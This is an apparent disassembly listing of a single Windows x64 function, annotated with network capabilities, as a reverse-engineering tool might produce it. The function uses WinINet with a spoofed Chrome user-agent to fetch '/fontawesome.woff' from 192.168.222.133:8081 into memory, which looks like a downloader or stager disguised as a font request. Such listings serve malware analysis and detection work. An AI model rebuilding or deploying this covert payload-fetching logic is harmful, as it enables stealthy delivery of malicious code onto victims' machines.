Function at 0x140001210
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r15, rdx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_105.0.0.0_Safari_537.36
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rbp - 0x11], rax
mov r8d, 0x1f91
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
lea r9, [0x140003490]
mov qword [rsp + 0x20], r9
lea rdx, str.192.168.222.133
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov rdi, rax
mov qword [rbp - 0x19], rax
mov dword [rbp - 5], 0x1388
lea r9d, [r12 + 4]
lea r8, [rbp - 5]
lea edx, [r12 + 2]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionW]
lea r9d, [r12 + 4]
lea r8, [rbp - 5]
lea edx, [r12 + 5]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str._fontawesome.woff
lea rdx, [0x1400034c0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r13, rax
test rax, rax
jne 0x140001341
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_HTTP_request._Error_code:__d_n
mov edx, eax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [r15], r12
mov dword [r15 + 8], r12d
jmp 0x1400014c1
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x14000136a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_send_HTTP_request._Error_code:__d_n
jmp 0x14000131c
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov ecx, 0x400
call fcn.140001930
mov rbx, rax
mov qword [rbp + 0x17], rax
lea r14, [rax + 0x400]
mov qword [rbp + 0x27], r14
xor edx, edx
mov r8d, 0x400
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x1f], r14
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
mov qword [rbp + 0xf], r12
mov dword [rbp - 9], r12d
nop dword [rax]
nop word [rax + rax]
lea r9, [rbp - 9]
mov r8d, 0x400
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400014f1
mov eax, dword [rbp - 9]
test eax, eax
je 0x1400013fe
mov r9d, eax
mov r8, rbx
mov rdx, qword [rbp + 7]
lea rcx, [rbp - 1]
call fcn.140001600
cmp dword [rbp - 9], 0
ja 0x1400013c0
mov rsi, qword [rbp + 7]
mov r12, qword [rbp - 1]
sub rsi, r12
mov rcx, rsi
call fcn.140001974
mov rdi, rax
mov r8, rsi
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x17], rdi
mov dword [rbp + 0x1f], esi
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [r15], xmm0
test r12, r12
je 0x140001489
mov rdx, qword [rbp + 0xf]
sub rdx, r12
mov rax, r12
cmp rdx, 0x1000
jb 0x140001480
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001565
mov rcx, r12
call fcn.14000196c
nop
test rbx, rbx
je 0x1400014c1
sub r14, rbx
cmp r14, 0x1000
jb 0x1400014b6
add r14, 0x27
mov rax, qword [rbx - 8]
sub rbx, rax
add rbx, 0xfffffffffffffff8
cmp rbx, 0x1f
ja 0x14000156c
mov rbx, rax
mov rdx, r14
mov rcx, rbx
call fcn.14000196c
mov rax, r15
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140001910
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov edx, eax
lea rcx, str.____Error_reading_internet_file_:___lu__n
call fcn.140001010
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [r15], r12
mov dword [r15 + 8], r12d
mov rcx, qword [rbp - 1]
test rcx, rcx
je 0x140001489
mov rdx, qword [rbp + 0xf]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001483
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3